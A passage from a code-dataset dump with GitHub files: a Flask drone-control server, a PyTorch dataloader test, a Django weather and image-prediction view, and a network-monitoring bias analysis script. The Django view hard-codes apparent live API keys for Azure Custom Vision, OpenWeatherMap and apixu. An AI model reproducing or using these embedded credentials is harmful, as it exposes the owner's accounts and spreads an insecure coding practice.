"phantom.rules", "line_number": 30, "usage_type": "name"}, {"api_name": "pathlib.Path", "line_number": 43, "usage_type": "call"}, {"api_name": "phantom.rules.vault_add", "line_number": 48, "usage_type": "call"}, {"api_name": "phantom.rules", "line_number": 48, "usage_type": "name"}, {"api_name": "phantom.rules.vault_delete", "line_number": 55, "usage_type": "call"}, {"api_name": "phantom.rules", "line_number": 55, "usage_type": "name"}]} {"seq_id": "1266491574", "text": "# coding=utf-8\n\"\"\"\nServer Módulo\n\"\"\"\nimport logging\n\nfrom flask import render_template, request, jsonify, Response\n\nimport config\nfrom drone_app.models.drone_manager import TelloDrone, BasicPatrolMiddleware, StreamTelloDrone\n\nlogger = logging.getLogger(__name__)\napp = config.app\n\n\ndef get_drone(video=False):\n \"\"\" Recupera o Drone Manager. \"\"\"\n if video:\n return StreamTelloDrone(patrol_middleware=BasicPatrolMiddleware())\n return TelloDrone(patrol_middleware=BasicPatrolMiddleware())\n\n\n@app.route('/')\ndef index():\n \"\"\" View para o index. \"\"\"\n return render_template('index.html')\n\n\n@app.route('/controller/')\ndef controller():\n \"\"\" View para retornar a página de controles do Drone. \"\"\"\n return render_template('controller.html')\n\n\n@app.route('/api/command/', methods=['POST'])\ndef command():\n \"\"\" View para executar comando do Drone. \"\"\"\n cmd = request.form.get('command')\n logger.info({'action': 'command', 'cmd': cmd})\n drone = get_drone(video=True)\n drone_command = {\n 'takeOff': drone.takeoff,\n 'land': drone.land,\n 'up': drone.up,\n 'down': drone.down,\n 'forward': drone.forward,\n 'back': drone.back,\n 'clockwise': drone.clockwise,\n 'counterClockwise': drone.count_clockwise,\n 'left': drone.left,\n 'right': drone.right,\n 'flipFront': drone.flip_forward,\n 'flipBack': drone.flip_back,\n 'flipLeft': drone.flip_left,\n 'flipRight': drone.flip_right,\n 'patrol': drone.patrol,\n 'stopPatrol': drone.stop_patrol,\n 'faceDetectAndTrack': drone.enable_face_detect,\n 'stopFaceDetectAndTrack': drone.disable_face_detect,\n }.get(cmd)\n if cmd == 'speed':\n speed = request.form.get('speed')\n logger.info({'action': 'command', 'cmd': cmd, 'speed': speed})\n if speed:\n drone.set_speed(int(speed))\n elif cmd == 'snapshot':\n if not drone.snapshot():\n return jsonify(status='fail'), 400\n else:\n if drone_command:\n drone_command()\n\n return jsonify(status='success'), 200\n\n\ndef video_generator():\n \"\"\" Método para disponibilizar imagens recuperadas pelo Drone. \"\"\"\n drone = get_drone(video=True)\n for jpeg in drone.video_jpeg_generator():\n yield (\n b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' +\n jpeg +\n b'\\r\\n\\r\\n'\n )\n\n\n@app.route('/video/streaming')\ndef video_feed():\n \"\"\" View para retornar a imagem recuperada do Drone. \"\"\"\n try:\n result = video_generator()\n return Response(result, mimetype='multipart/x-mixed-replace; boundary=frame')\n except Exception as e:\n logging.error({'action': 'video_streaming', 'exception': str(e)})\n return Response('', mimetype='text/plain')\n\n\ndef run():\n \"\"\" Método para inicializar as aplicação. \"\"\"\n app.run(host=config.WEB_ADDRESS, port=config.WEB_PORT, threaded=True)\n", "repo_name": "marvinbraga/pytello", "sub_path": "drone_app/controllers/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 2985, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "logging.getLogger", "line_number": 12, "usage_type": "call"}, {"api_name": "config.app", "line_number": 13, "usage_type": "attribute"}, {"api_name": "drone_app.models.drone_manager.StreamTelloDrone", "line_number": 19, "usage_type": "call"}, {"api_name": "drone_app.models.drone_manager.BasicPatrolMiddleware", "line_number": 19, "usage_type": "call"}, {"api_name": "drone_app.models.drone_manager.TelloDrone", "line_number": 20, "usage_type": "call"}, {"api_name": "drone_app.models.drone_manager.BasicPatrolMiddleware", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 26, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.request.form.get", "line_number": 38, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 38, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.request.form.get", "line_number": 62, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 62, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 62, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 68, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 93, "usage_type": "call"}, {"api_name": "logging.error", "line_number": 95, "usage_type": "call"}, {"api_name": "flask.Response", "line_number": 96, "usage_type": "call"}, {"api_name": "config.WEB_ADDRESS", "line_number": 101, "usage_type": "attribute"}, {"api_name": "config.WEB_PORT", "line_number": 101, "usage_type": "attribute"}]} {"seq_id": "31767425012", "text": "import unittest\nimport torch\n\nfrom torch import nn\nimport matplotlib.pyplot as plt\nfrom DataLoader import *\nfrom torchvision.datasets import ImageFolder\nfrom Utils import show_imgs\nfrom torchvision import transforms\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass HighPass(nn.Module):\n def __init__(self):\n super(HighPass, self).__init__()\n self.register_buffer('filter',\n torch.tensor([[1., 1., 1.]\n , [1., -8., 1.]\n , [1., 1., 1.]], dtype=torch.float32))\n\n def forward(self, x):\n filter = self.filter.unsqueeze(0).unsqueeze(1).repeat(x.size(1), 1, 1, 1)\n print(f\"filter.shape:{filter.shape}\")\n print(f\"x.size(1):{x.size(1)}\")\n return F.conv2d(x, filter, stride=1, padding=1, groups=x.size(1))\n\n\nclass DataLoaderTest(unittest.TestCase):\n\n def show_img(self, imgs):\n n_imgs = len(imgs)\n plt.rcParams['figure.figsize'] = [4 * 2, 4]\n fig, axarr = plt.subplots(nrows=1, ncols=n_imgs)\n for i in range(n_imgs):\n axarr[i].axis('off')\n # axarr[i].imshow(np.transpose(vutils.make_grid(imgs[i], padding=2, normalize=True).cpu(), (1, 2, 0)))\n axarr[i].imshow(np.transpose(imgs[i], (1, 2, 0)))\n plt.show()\n\n def test_ImageFolder(self):\n ts = transforms.Compose([transforms.ToTensor()])\n dataset = ImageFolder(\"/Users/$USER/Documents/Repositories/datasets/expression_CFEE_p_128/train\", ts)\n print(dataset.targets)\n\n train_loader = data.DataLoader(dataset=dataset,\n batch_size=2,\n # num_workers=num_workers,\n pin_memory=True,\n drop_last=True)\n print(dataset.classes)\n highPass = HighPass()\n for n, (real_samples, labels) in enumerate(train_loader):\n print(f\"real_samples.shape:{real_samples.shape}\")\n real_samples = highPass(real_samples)\n print(f\"real_samples.shape:{real_samples.shape}\")\n self.show_img(real_samples)\n break\n\n def test(self):\n root_dir = \"/Users/$USER/Documents/Repositories/datasets\"\n output_dir = root_dir + \"/expression_1.0/a_n\"\n ts = transforms.Compose([transforms.ToTensor()])\n dataset = ExpressionDataset(output_dir, ts)\n # print(dataset.targets)\n\n train_loader = data.DataLoader(dataset=dataset,\n batch_size=77,\n # num_workers=num_workers,\n # sampler=sampler,\n shuffle=True,\n pin_memory=True,\n drop_last=True)\n\n for i, t in enumerate(train_loader):\n print(i, len(t[0]))\n show_imgs(t[0:-1])\n break\n\n def test_to_neutral_expression_file(self):\n root_dir = \"/Users/$USER/Documents/Repositories/datasets\"\n output_dir = root_dir + \"/expression_1.0\"\n ts = transforms.Compose([transforms.ToTensor()])\n dataset = ExpressionPairedDataset(output_dir, ts)\n\n f = \"CFD-BF-001_a.png\"\n print(dataset.to_neutral_expression_file(f))\n\n for i in range(10):\n print(random.randint(0, 2))\n\n def test_create_sample_getter(self):\n root_dir = \"/Users/$USER/Documents/Repositories/datasets\"\n output_dir = root_dir + \"/expression_CFEE_1.0/train\"\n config = Munch()\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n config.device = device\n config.train_dir = output_dir\n config.img_size = 256\n config.batch_size = 7\n\n sample_getter = create_sample_getter(config)\n sample = sample_getter.next_sample()\n print(sample.x_n.shape)\n sample.x_n = sample.x_n.mean(dim=1, keepdims=True)\n print(sample.x_n.shape)\n show_imgs([sample.x_n, sample.x_e])\n", "repo_name": "xiaohanghu/2CET-GAN", "sub_path": "test/DataLoaderTest.py", "file_name": "DataLoaderTest.py", "file_ext": "py", "file_size_in_byte": 4129, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 14, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 14, "usage_type": "name"}, {"api_name": "torch.tensor", "line_number": 18, "usage_type": "call"}, {"api_name": "torch.float32", "line_number": 20, "usage_type": "attribute"}, {"api_name": "torch.nn.functional.conv2d", "line_number": 26, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 26, "usage_type": "name"}, {"api_name": "unittest.TestCase", "line_number": 29, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.rcParams", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot", "line_number": 33, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 34, "usage_type": "name"}, {"api_name": "numpy.transpose", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "torchvision.transforms.Compose", "line_number": 42, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 42, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 42, "usage_type": "call"}, {"api_name": "torchvision.datasets.ImageFolder", "line_number": 43, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 63, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 63, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 63, "usage_type": "call"}, {"api_name": "Utils.show_imgs", "line_number": 77, "usage_type": "call"}, {"api_name": "torchvision.transforms.Compose", "line_number": 83, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 83, "usage_type": "name"}, {"api_name": "torchvision.transforms.ToTensor", "line_number": 83, "usage_type": "call"}, {"api_name": "torch.device", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 96, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 96, "usage_type": "attribute"}, {"api_name": "Utils.show_imgs", "line_number": 107, "usage_type": "call"}]} {"seq_id": "25478689161", "text": "import requests, json\nimport geoip2.database\nimport datetime as dt\nimport pandas as pd\nimport pickle\nfrom django.shortcuts import render\nfrom django.http import HttpResponse\nfrom django import forms\nfrom azure.cognitiveservices.vision.customvision.prediction import CustomVisionPredictionClient\nfrom azure.cognitiveservices.vision.customvision.training.models import ImageFileCreateEntry\n\n\ndef prediction(img):\n if img is None:\n predict = \"\"\n return predict\n # Replace with a valid key\n training_key = \"b5bfc9d99f13452283d32d34b6fdaf91\"\n prediction_key = \"667bfe4caf614b7ab5d493d108310c31\"\n prediction_resource_id = \"/subscriptions/43d04aaa-f089-471d-93c4-2db4cfcb099e/resourceGroups/newresource/providers/Microsoft.CognitiveServices/accounts/newresource_prediction\"\n project_id = \"8b296d37-4100-4836-9441-a7d5a1f8ac1f\"\n\n ENDPOINT = \"https://westeurope.api.cognitive.microsoft.com/customvision/v3.0/Prediction/8b296d37-4100-4836-9441-a7d5a1f8ac1f/classify/iterations/Iteration1/url\"\n #base_image_url = \"C:/Users/norchi/Documents/Learn IT Girl/\"\n #image = open(base_image_url + \"stars/heic1303b.jpg\", \"rb\")\n image = {'url' : img}\n \n #Htttp request\n headers = {\n 'Prediction-Key': prediction_key,\n 'Content-Type': 'application/json',\n }\n\n response = requests.request('POST', ENDPOINT, data=None, json=image, headers=headers).json()\n #parsed = json.loads(response.text)\n #predictions = parsed['predictions']\n name = response['predictions'][0]['tagName']\n probability = response['predictions'][0]['probability']\n\n predict = \"This image is a \" + name + \" with a probability of: {0:.2f}%\".format(probability * 100)\n return predict\n\ndef get_client_ip(request):\n try:\n x_forwarded_for = request.META.get('HTTP_X_FORWARDED_FOR')\n if x_forwarded_for:\n ip = x_forwarded_for.split(',')[0]\n else:\n ip = request.META.get('REMOTE_ADDR')\n except: \n ip = \"\"\n if ip == '127.0.0.1':\n ip = '178.58.151.196'\n return ip\n\n\ndef index(request):\n image = None\n if request.method == 'POST':\n #form = ContactForm(request.POST)\n image = request.POST['url']\n #return render(request,'index.html', context)\n\n url = 'http://api.openweathermap.org/data/2.5/weather?lat={}&lon={}&appid=72f9d507e1f458a4e7a5ad8f19708420'\n reader = geoip2.database.Reader('C:/Users/norchi/Documents/Learn IT Girl/web-app/web_app/main/geolocation/GeoLite2-City_20190402/GeoLite2-City.mmdb')\n \n ip = get_client_ip(request)\n geo = reader.city(ip)\n\n r = requests.get(url.format(geo.location.latitude, geo.location.longitude)).json()\n\n url = \"http://api.apixu.com/v1/history.json?key=f87b86729047441786b83603190105&q={}&dt=2019-05-28\"\n g = str(geo.location.latitude) + \",\" + str(geo.location.longitude)\n JSONContent = requests.get(url.format(g)).json()\n content = json.dumps(JSONContent, indent = 4, sort_keys=True)\n\n #Current weather\n location_weather = {\n \t 'city' : geo.subdivisions.most_specific.name,\n 'clouds' : r['clouds']['all'],\n 'description' : r['weather'][0]['description'],\n 'icon': r['weather'][0]['icon'],\n }\n\n #Microsoft custom vision prediction\n predict = prediction(image)\n\n #8 hour cloud cover prediction\n hour = dt.datetime.now().hour\n day = dt.datetime.now().day\n new = [geo.subdivisions.most_specific.name, day, hour]\n date = dt.datetime.today().strftime(\"%Y-%m-%d\")\n\n url = \"http://api.apixu.com/v1/history.json?key=f87b86729047441786b83603190105&q={}&dt={}&hour=\"+str(hour)\n JSONContent = requests.get(url.format(geo.subdivisions.most_specific.name, date)).json()\n Temperature = JSONContent['forecast']['forecastday'][0]['hour'][0]['temp_c']\n Pressure = JSONContent['forecast']['forecastday'][0]['hour'][0]['pressure_mb']\n Humidity = JSONContent['forecast']['forecastday'][0]['hour'][0]['humidity']\n Cloud_cover = JSONContent['forecast']['forecastday'][0]['hour'][0]['cloud']\n\n new.append(Temperature)\n new.append(Pressure)\n new.append(Humidity)\n new.append(Cloud_cover)\n\n for i in range(hour - 8, hour - 1):\n url = \"http://api.apixu.com/v1/history.json?key=f87b86729047441786b83603190105&q={}&dt={}&hour=\"+str(i)\n JSONContent = requests.get(url.format(geo.subdivisions.most_specific.name, date)).json()\n Temperature = JSONContent['forecast']['forecastday'][0]['hour'][0]['temp_c']\n new.append(Temperature)\n\n for i in range(hour - 8, hour - 1):\n url = \"http://api.apixu.com/v1/history.json?key=f87b86729047441786b83603190105&q={}&dt={}&hour=\"+str(i)\n JSONContent = requests.get(url.format(geo.subdivisions.most_specific.name, date)).json()\n Pressure = JSONContent['forecast']['forecastday'][0]['hour'][0]['pressure_mb']\n new.append(Pressure)\n \n for i in range(hour - 8, hour - 1):\n url = \"http://api.apixu.com/v1/history.json?key=f87b86729047441786b83603190105&q={}&dt={}&hour=\"+str(i)\n JSONContent = requests.get(url.format(geo.subdivisions.most_specific.name, date)).json()\n Humidity = JSONContent['forecast']['forecastday'][0]['hour'][0]['humidity']\n new.append(Humidity)\n \n for i in range(hour - 8, hour - 1):\n url = \"http://api.apixu.com/v1/history.json?key=f87b86729047441786b83603190105&q={}&dt={}&hour=\"+str(i)\n JSONContent = requests.get(url.format(geo.subdivisions.most_specific.name, date)).json()\n Cloud_cover = JSONContent['forecast']['forecastday'][0]['hour'][0]['cloud']\n new.append(Cloud_cover)\n new_data = pd.DataFrame([new], columns = ['City', 'Day in May 2019', 'Hour', 'Temperature', 'Pressure', 'Humidity', 'Cloud cover', 'Temperature_1', 'Temperature_2', 'Temperature_3', 'Temperature_4', 'Temperature_5', 'Temperature_6', 'Temperature_7', 'Pressure_1', 'Pressure_2', 'Pressure_3','Pressure_4', 'Pressure_5','Pressure_6', 'Pressure_7', 'Humidity_1', 'Humidity_2', 'Humidity_3', 'Humidity_4', 'Humidity_5', 'Humidity_6', 'Humidity_7', 'Cloud cover_1', 'Cloud cover_2', 'Cloud cover_3', 'Cloud cover_4', 'Cloud cover_5', 'Cloud cover_6', 'Cloud cover_7'])\n\n filename = 'C:/Users/norchi/Documents/Learn IT Girl/model/finalized_model.sav'\n regressor = pickle.load(open(filename, 'rb'))\n\n #Chosen features with more than 0.5 correlation\n predictors = ['Cloud cover_1', 'Cloud cover_2', 'Cloud cover_3', 'Cloud cover_4', 'Cloud cover_5', 'Cloud cover_6','Cloud cover_7', 'Pressure', 'Pressure_1', 'Pressure_2', 'Pressure_3', 'Pressure_4']\n X = new_data[predictors]\n hour_predict = regressor.predict(X)[0].round()\n\n context = {\n 'location_weather' : location_weather,\n 'prediction' : predict,\n 'hour_predict': str(hour_predict)}\n\n return render(request,'index.html', context)\n", "repo_name": "noran9/Learn-IT-Girl", "sub_path": "web-app/web_app/main/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 6834, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.request", "line_number": 34, "usage_type": "call"}, {"api_name": "geoip2.database.database.Reader", "line_number": 65, "usage_type": "call"}, {"api_name": "geoip2.database.database", "line_number": 65, "usage_type": "attribute"}, {"api_name": "geoip2.database", "line_number": 65, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 70, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 74, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 75, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 89, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 89, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 90, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 90, "usage_type": "attribute"}, {"api_name": "datetime.datetime.today", "line_number": 92, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 92, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 95, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 108, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 114, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 120, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 126, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 129, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 132, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 144, "usage_type": "call"}]} {"seq_id": "6500053361", "text": "import numpy as np\nimport pandas as pd\nimport json\nimport random\nfrom matplotlib import pyplot as plt\nfrom ai4netmon.Analysis.bias import bias_utils as bu\nimport os\n\n\nfrom ai4netmon.Analysis.aggregate_data import data_collectors as dc\nfrom collections import defaultdict\nfrom ai4netmon.Analysis.bias import radar_chart\n\n\n\n# load RRC 2 ASN data \nris_peer_ip2asn, ris_peer_ip2rrc = dc.get_ripe_ris_data()\n\nrrc2asn_dict = defaultdict(list)\nfor ip, rrc in ris_peer_ip2rrc.items():\n rrc2asn_dict[rrc].append( ris_peer_ip2asn[ip] )\n\n\n\n## datasets\nAGGREGATE_DATA_FNAME = '../../data/aggregate_data/asn_aggregate_data_20211201.csv'\nBIAS_CSV_FNAME = './data/bias_values_per_rrc.csv'\nBIAS_CSV_FNAME_NO_STUBS = './data/bias_values_per_rrc__no_stubs.csv'\nOMIT_STUBS = False\nif OMIT_STUBS:\n BIAS_CSV_FNAME = BIAS_CSV_FNAME_NO_STUBS\nNB_SAMPLES = [10, 20, 50, 100, 200, 500, 1000]\nNB_ITERATIONS = 100\n\n\n# select features for visualization\nFEATURE_NAMES_DICT = bu.get_features_dict_for_visualizations() \nFEATURES = list(FEATURE_NAMES_DICT.keys())\n\n\n## load data\ndf = pd.read_csv(AGGREGATE_DATA_FNAME, header=0, index_col=0)\ndf['is_personal_AS'].fillna(0, inplace=True)\nif OMIT_STUBS:\n df = df[df['AS_rel_degree']>1]\n\n## calculate bias for all features\n# define sets of interest\ndf_ris = df.loc[(df['is_ris_peer_v4']>0) | (df['is_ris_peer_v6']>0)]\nris_asns = list(df_ris.index)\n\nnetwork_sets_dict = dict()\nnetwork_sets_dict['all'] = df\nnetwork_sets_dict['RIPE RIS (all)'] = df_ris\nfor rrc, rrc_asns in rrc2asn_dict.items():\n network_sets_dict[rrc] = df.loc[set(rrc_asns)]\n\nnetwork_sets_dict_for_bias = {k:v[FEATURES] for k,v in network_sets_dict.items() if k != 'all'}\n\nparams={'method':'kl_divergence', 'bins':10, 'alpha':0.01}\nbias_df = bu.bias_score_dataframe(df[FEATURES], network_sets_dict_for_bias, **params)\n\n# print biases & save to csv\nprint('Bias per monitor set (columns) and per feature (rows)')\nprint_df = bias_df.copy()\nprint_df.index = [n.replace('\\n','') for n in FEATURE_NAMES_DICT.values()]\nprint(print_df.round(2))\nprint_df.round(4).to_csv(BIAS_CSV_FNAME, header=True, index=True)\n\n\n\n# print avg bias for infrastucture\nprint('### Avg bias for infrastructure ###')\nprint('RIPE RIS (all): '+ str(round(bias_df['RIPE RIS (all)'].mean(),2)))\nfor k,v in rrc2asn_dict.items():\n print('{}: {}({})\\t {}'.format(k, len(v), len(set(v)), round(bias_df[k].mean(),2)))\n\n\n\n\n#plotting \nFIG_SCATTER_SAVE_FNAME = './figures/Fig_scatter_bias_vs_sampling_per_rrc.png'\nFIG_RADAR_SAVE_FNAME_FORMAT = './figures/Fig_radar_bias__per_rrc_{}.png'\nFONTSIZE = 15\nFONTSIZE_SMALL = 13\n\nplt.figure(1)\nlist_of_rrcs = list(rrc2asn_dict.keys())\nmultihop_rrcs = ['rrc00', 'rrc24', 'rrc25']\nnon_multihop_rrcs = [r for r in list_of_rrcs if r not in multihop_rrcs]\n# peers_per_rrc = [len(set(rrc2asn_dict[rrc])) for rrc in list_of_rrcs]\n# bias_per_rrc = [bias_df[rrc].mean() for rrc in list_of_rrcs]\n# plt.scatter(peers_per_rrc, bias_per_rrc, label='RRCs')\npeers_per_rrc = [len(set(rrc2asn_dict[rrc])) for rrc in list_of_rrcs]\nbias_per_rrc = [bias_df[rrc].mean() for rrc in list_of_rrcs]\nplt.scatter([len(set(rrc2asn_dict[rrc])) for rrc in non_multihop_rrcs], [bias_df[rrc].mean() for rrc in non_multihop_rrcs], label='non-multihop RRCs', c='b')\nplt.scatter([len(set(rrc2asn_dict[rrc])) for rrc in multihop_rrcs], [bias_df[rrc].mean() for rrc in multihop_rrcs], label='multihop RRCs', c='g')\nfor i,t in enumerate(list_of_rrcs):\n pos = (peers_per_rrc[i], bias_per_rrc[i])\n if t == 'rrc01':\n pos = (peers_per_rrc[i]-5, bias_per_rrc[i])\n elif t == 'rrc10':\n pos = (peers_per_rrc[i], bias_per_rrc[i]-0.02)\n elif t == 'rrc20':\n pos = (peers_per_rrc[i]-5, bias_per_rrc[i]-0.02)\n plt.annotate(t[3:], pos, fontsize=FONTSIZE_SMALL)\nplt.axhline(y=bias_df['RIPE RIS (all)'].mean(), color='r', linestyle='--', label='RIPE RIS (all)')\nplt.grid(True)\nplt.legend(fontsize=FONTSIZE)\nplt.xlabel('Number of peering ASNs', fontsize=FONTSIZE)\nplt.ylabel('Average bias', fontsize=FONTSIZE)\nplt.xticks(fontsize=FONTSIZE)\nplt.yticks(fontsize=FONTSIZE)\nplt.subplots_adjust(left=0.15, bottom=0.15)\nplt.savefig(FIG_SCATTER_SAVE_FNAME)\nplt.close()\n\n\n\nplt.figure(2)\n# \nbias_df['RIPE RIS (avg)'] = bias_df[list_of_rrcs].mean(axis=1)\nbias_df['RIPE RIS (avg) multihop'] = bias_df[multihop_rrcs].mean(axis=1)\nbias_df['RIPE RIS (avg) non multihop'] = bias_df[non_multihop_rrcs].mean(axis=1)\n# radar_chart.plot_radar_from_dataframe(plot_df, colors=None, frame='polygon', cmap='turbo', legend_loc=(0.9, .65),\n # save_filename=FIG_RADAR_SAVE_FNAME, varlabels=FEATURE_NAMES_DICT)\nplot_df = bias_df[['RIPE RIS (all)']+list_of_rrcs]\nradar_chart.plot_radar_from_dataframe(plot_df, colors=None, frame='polygon', cmap='turbo', legend_loc=(0.9, .65),\n save_filename=FIG_RADAR_SAVE_FNAME_FORMAT.format('all'), varlabels=FEATURE_NAMES_DICT)\nplot_df = bias_df[['RIPE RIS (all)', 'RIPE RIS (avg)']]\nradar_chart.plot_radar_from_dataframe(plot_df, colors=None, frame='polygon', \n save_filename=FIG_RADAR_SAVE_FNAME_FORMAT.format('all_vs_avg'), varlabels=FEATURE_NAMES_DICT)\nplot_df = bias_df[['RIPE RIS (avg) multihop', 'RIPE RIS (avg) non multihop']]\nradar_chart.plot_radar_from_dataframe(plot_df, colors=None, frame='polygon', legend_loc=(0.8, .95), \n save_filename=FIG_RADAR_SAVE_FNAME_FORMAT.format('avg_multihop'), varlabels=FEATURE_NAMES_DICT)\n", "repo_name": "sermpezis/ai4netmon", "sub_path": "use_cases/bias_in_monitoring_infrastructure/sampling_monitors_bias__per_rrc.py", "file_name": "sampling_monitors_bias__per_rrc.py", "file_ext": "py", "file_size_in_byte": 5329, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "ai4netmon.Analysis.aggregate_data.data_collectors.get_ripe_ris_data", "line_number": 17, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.aggregate_data.data_collectors", "line_number": 17, "usage_type": "name"}, {"api_name": "collections.defaultdict", "line_number": 19, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.bias_utils.get_features_dict_for_visualizations", "line_number": 37, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.bias_utils", "line_number": 37, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 42, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.bias_utils.bias_score_dataframe", "line_number": 61, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.bias_utils", "line_number": 61, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 87, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 87, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 97, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 97, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 106, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 106, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 107, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 107, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 108, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 108, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 109, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 109, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 110, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 110, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 111, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 112, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 112, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.yticks", "line_number": 113, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 113, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 114, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 114, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 115, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 115, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.close", "line_number": 116, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 116, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 120, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 120, "usage_type": "name"}, {"api_name": "ai4netmon.Analysis.bias.radar_chart.plot_radar_from_dataframe", "line_number": 128, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.radar_chart", "line_number": 128, "usage_type": "name"}, {"api_name": "ai4netmon.Analysis.bias.radar_chart.plot_radar_from_dataframe", "line_number": 131, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.radar_chart", "line_number": 131, "usage_type": "name"}, {"api_name": "ai4netmon.Analysis.bias.radar_chart.plot_radar_from_dataframe", "line_number": 134, "usage_type": "call"}, {"api_name": "ai4netmon.Analysis.bias.radar_chart", "line_number": 134, "usage_type": "name"}]} {"seq_id": "40310792384", "text": "# pylint: disable=too-many-locals, ungrouped-imports\r\n\"\"\"Device List\"\"\"\r\nimport math\r\nfrom flask import request\r\nfrom library.common import Common\r\nfrom library.postgresql_queries import PostgreSQL\r\nfrom library.couch_queries import Queries\r\nfrom library.aws_s3 import AwsS3\r\n\r\nclass DeviceList(Common):\r\n \"\"\"Class for DeviceImages\"\"\"\r\n\r\n # INITIALIZE\r\n def __init__(self):\r\n \"\"\"The Constructor for DeviceImages class\"\"\"\r\n self.postgres = PostgreSQL()\r\n self.couch_query = Queries()\r\n 